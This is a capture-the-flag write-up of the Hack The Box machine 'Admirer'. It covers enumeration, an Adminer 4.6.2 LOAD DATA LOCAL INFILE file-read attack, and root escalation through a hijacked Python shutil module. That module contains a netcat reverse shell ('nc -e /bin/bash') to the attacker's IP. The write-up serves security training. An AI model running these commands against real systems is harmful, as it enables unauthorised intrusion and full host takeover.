# Admirer (Easy)

## Lesson Learn

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fx2VOs4Zn7oVdpFzLQhDU%2FAdmirer.PNG?alt=media\&token=6f60b9e1-22b4-4fd1-a569-e0398df1f050)

## Report-Penetration

**Vulnerable Exploit:** Adminer 4.6.2 File Disclosure Vulnerability

**System Vulnerable:** 10.10.10.187

**Vulnerability Explanation:** Adminer versions up to (and including) **4.6.2** supported the use of the SQL statement **LOAD DATA INFILE**. It was possible to use this SQL statement to read arbitrary local files because of a protocol flaw in MySQL.

**Privilege Escalation Vulnerability:** Misconfigure privilege of user and Hijack Python Library

**Vulnerability Fix:** Upgrade to the latest version of Adminer. This vulnerability was fixed in Adminer version **4.6.3**.

**Severity:** High

**Step to Compromise the Host:**&#x20;

## Reconnaissance

```
nmap -sC -sV -p- -T4 10.10.10.187
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FkJYUdzzzw8q1Hl7BPz8A%2F1.png?alt=media\&token=f72df985-f492-4711-862c-7f2acad927d5)

## Enumeration

Let's start to enumerate each service if any of these services are either contain vulnerable versions or misconfigured.

### Port 21 vsftpd 3.0.3

Try to log in with anonymous it doesn't work as well as there is no interesting vulnerability for us.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F2qePnnkngBYE7kkmxew2%2F1.png?alt=media\&token=86d201c8-1a2d-4ead-b3ff-bdf7654b0a26)

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FjDyGG5lz7pegejiqI48e%2F1.png?alt=media\&token=407e6959-9387-439b-ad51-3a9eebbb9af6)

### **Port 80 Apache 2.4.25 (Debian)**

As a result of the Nmap scan, we have found the file **robots.txt** and directory **admin-dir**.

![Web page on port 80](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FggGsbcPhc0KWzR09yKZK%2F1.png?alt=media\&token=ff278875-c84f-413f-b925-ecdedf1902d3)

By following the file robots.txt, we found some hints that directory **/admin-dir** contacts personal **contacts** and **cred** as well as username **waldo.** Unfortunately, we don't have permission to access it.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F7MXZOybz1hcRppQ4Hw8D%2F1.png?alt=media\&token=8bd38d5e-a5d2-448a-91ce-017c0d0e0bd8)

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FvRP6cWjYvLKetYAck9Ck%2F1.png?alt=media\&token=e6269b41-bbd6-4173-b772-347646bda919)

Let's start to enumerate and perform directory traversal by **gobuster** to check if there is any file or directory which we can access.&#x20;

```
gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.187/admin-dir
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2021/10/27 10:43:25 Starting gobuster in directory enumeration mode
===============================================================
/contacts.txt         (Status: 200) [Size: 350]
/credentials.txt      (Status: 200) [Size: 136]
                                               
===============================================================
2021/10/27 11:07:47 Finished
===============================================================

```

We have found the same as the hint provided by file **contacts.txt** and **credentials.txt.**

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FLfikTIPClAtZJgLHU5fj%2F1.png?alt=media\&token=31f27f59-4aa1-46b6-909a-c9a9d3cc345b)

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FN7K5j5r664pyWTr3GDho%2F1.png?alt=media\&token=1ac3c2f1-91f3-40a4-89e7-a410396b5763)

With all of these credentials, we found valid credentials for access to ftp service. On ftp service, we found 2 files **dump.sql** and **html.tar.gz.**

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FqaD77PEs5pSh6gqGMwVG%2F1.png?alt=media\&token=e4f6d0b3-5632-4f4e-b24e-f8d50becee73)

By enumerating on file **dump.sql,** we didn't see any interesting information. Then, extract the file html.tar.gz which contains some folders and files.

```
# xzfv = Extract Zip File Verbose
tar xzfv html.tar.gz
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FOUD5XRXWKHVsGlaDlXfK%2F1.png?alt=media\&token=6e14d142-2147-4df7-834c-b85c9ac805cd)

By enumerating on each file and folder, we found credentials stored on file **index.php** and **/utility-scripts/db\_admin.php.**

![/utility-scripts/db\_admin.php](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FjJZJsjfihtLdRY0qfboT%2F1.png?alt=media\&token=7b68a7e1-b4b6-457f-97be-137011d087e2)

![index.php](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F9jKncHc2VFwh7RQ2M4eY%2F1.png?alt=media\&token=c8546078-6912-4814-8161-c655298aab1b)

As we didn't found any database port was open on nmap scan. Which mean that, there will be database web portal somewhere. By browsing folder **utility-scripts** we got Forbidden.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fzi2Wkt4uIVuqyrnnenvw%2F1.png?alt=media\&token=8a537108-ccd7-4af3-b71d-a33ca3c1eaf3)

But while include **info.php** which we have downloaded from ftp service, we return back the info.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FqDKjmvPwQHYVazHkP9hU%2F1.png?alt=media\&token=85bfb704-41e4-4f2a-9df7-8f4650f4d0f6)

By searching on google for the machine's name, we found out that there is a database whose name is similar to our machine.&#x20;

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F54Q3ejMEQstSQGuUjNl3%2F1.png?alt=media\&token=f8a0e6a6-c978-4c90-82b2-7cab70d705c0)

Then, we found the database login web page of **adminer.php** with version **4.6.2.**

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F1eTQ1CI8mVVBlMaPO0JT%2F1.png?alt=media\&token=c8fef50b-9578-4580-a317-b530249f413a)

We found that <mark style="color:red;">Adminer 4.6.2 is vulnerable to file disclosure</mark>. [#Reference Link](#reference-link) at the end.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FiGolYf5U487XE1A1p0qB%2F1.png?alt=media\&token=66e44bef-9878-4990-92e9-4a490f46cd73)

## Exploitation

First, let's configure our MySQL on our kali machine. We will create a database name, username, and password, and allow the host to connect.

![Start Service MySQL on Kali Machine](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FgFAHM7hjdk5IsvqU7KAs%2F1.png?alt=media\&token=9f43b5e0-918b-4e75-bf3a-df1aedfca990)

Create database, username, and password for the specific host.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FJG9wTxkwJ5XVMiOocei3%2F1.png?alt=media\&token=9f009df0-19d5-40bb-85ac-5b2ce93210f0)

Creating a table of the database name Testing.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fwkg95lOuhgEIwyl1jIZB%2F1.png?alt=media\&token=799facdf-dc4c-4cd4-aebe-e7a31110a04d)

Change configuration from allowing access only to the local host to any host connected to MySQL database.

![By default allow only Localhost IP connect](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fxb4Xl1CcuFAD7AqC6820%2F1.png?alt=media\&token=eab4745c-2e54-4f1a-a1fc-dc15da842815)

![Change configuration to allow any host to connect](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fk2VIUh6pyqmHrvI8k6tD%2F1.png?alt=media\&token=e96b11ed-af0b-4e18-95a7-912e2f4ced80)

After changing the configuration, we need to restart MySQL service.

```
sudo service mysql restart
```

Let's connect from the database web portal to our database with the credentials that we have created.&#x20;

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FlgS1h9lbelzrX9sFLwjD%2F1.png?alt=media\&token=5c617ab7-e2e3-424f-97a9-f3e199139cfa)

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FKSANmVx8Z8gDIfpPRm1q%2F1.png?alt=media\&token=d1fe6fd6-13f8-4507-9027-44fed838dca0)

By executing the exploit SQL command to read file /var/www/html/index.php, it's going to query the **row 123s**

```
LOAD DATA LOCAL INFILE 'var/www/html/index.php' INTO TABLE Testing FIELDS TERMINATED BY "\n" 
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FYK9iLnpKUyJiK3JwfMjp%2F1.png?alt=media\&token=3b0f16fb-177f-4bbc-a1fb-9234ba072e7f)

As we see the Query was executed. Let's get back to our database and display the table Testing. We found out there are other credentials with the same username as **waldo**.

```
show databases;
use Testing;
show tables;
select * from Testing;
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fv2aTnZhKwwBXpwYwYokD%2F1.png?alt=media\&token=80ff39d9-5418-4024-8ef8-ee39e5c2f085)

For our previous credentials, we found it doesn't valid on the ssh service. But for this one, it's working on ssh. We can log in ssh to the machine and we got a shell on the machine.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FThuxo6en7n1q2pxMr3I8%2F1.png?alt=media\&token=bacf2715-b443-4f58-820d-8bf60570383c)

## Privilege Escalation

Check for `sudo -l` to check if there is any misconfigure. We can run /script root privilege.&#x20;

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FLSs8StgAvcd2maOWEDjL%2F1.png?alt=media\&token=b25f579a-303a-4ef7-ac76-bd634d51240c)

On file backup.py, we found that it's imported file shutil and make\_archive function with 3 parameters (a, b, c).

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FZRdocArsFZzLiTEPMwJS%2F1.png?alt=media\&token=d34bc27e-dfef-491a-9e13-3503e2863647)

Let's check on the file `admin_tasks.sh` and we found `backup_web()` functions which is interesting.&#x20;

```
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
```

To exploit this misconfigure, we will create a reverse shell code and save it as **shutil.py**.&#x20;

```
import os,socket,subprocess

def make_archive(a, b, c):
    os.system("nc -e /bin/bash 10.10.14.31 5555")
```

Let's start listening on port 5555 with netcat.

```
nc -lvp 5555
```

Then, we export the **PYTHONPATH** to our **/tmp** folder which we create file **shutil.py**. Next, we will **run /opt/scripts/admin\_tasks.sh** with root privilege and select option **6 (Backup Web Data)**.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FmJRw0LkE1FZV1kB6jQfK%2F1.png?alt=media\&token=ca3d3260-e198-475b-a567-32b74d259241)

Once we executed **admin\_tasks** script, it will run **backup.py** file and import our exploit code on **shutil.py** and execute our reverse shell command.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FJT56QmZgyQmcxH0SsszV%2F1.png?alt=media\&token=d7c69398-d1bd-4657-8206-ba3e377614c1)

## Reference Link&#x20;

[https://www.acunetix.com/vulnerabilities/web/adminer-4-6-2-file-disclosure-vulnerability/](https://www.acunetix.com/vulnerabilities/web/adminer-4-6-2-file-disclosure-vulnerability/)

[https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f](https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f)

[https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html](https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html)
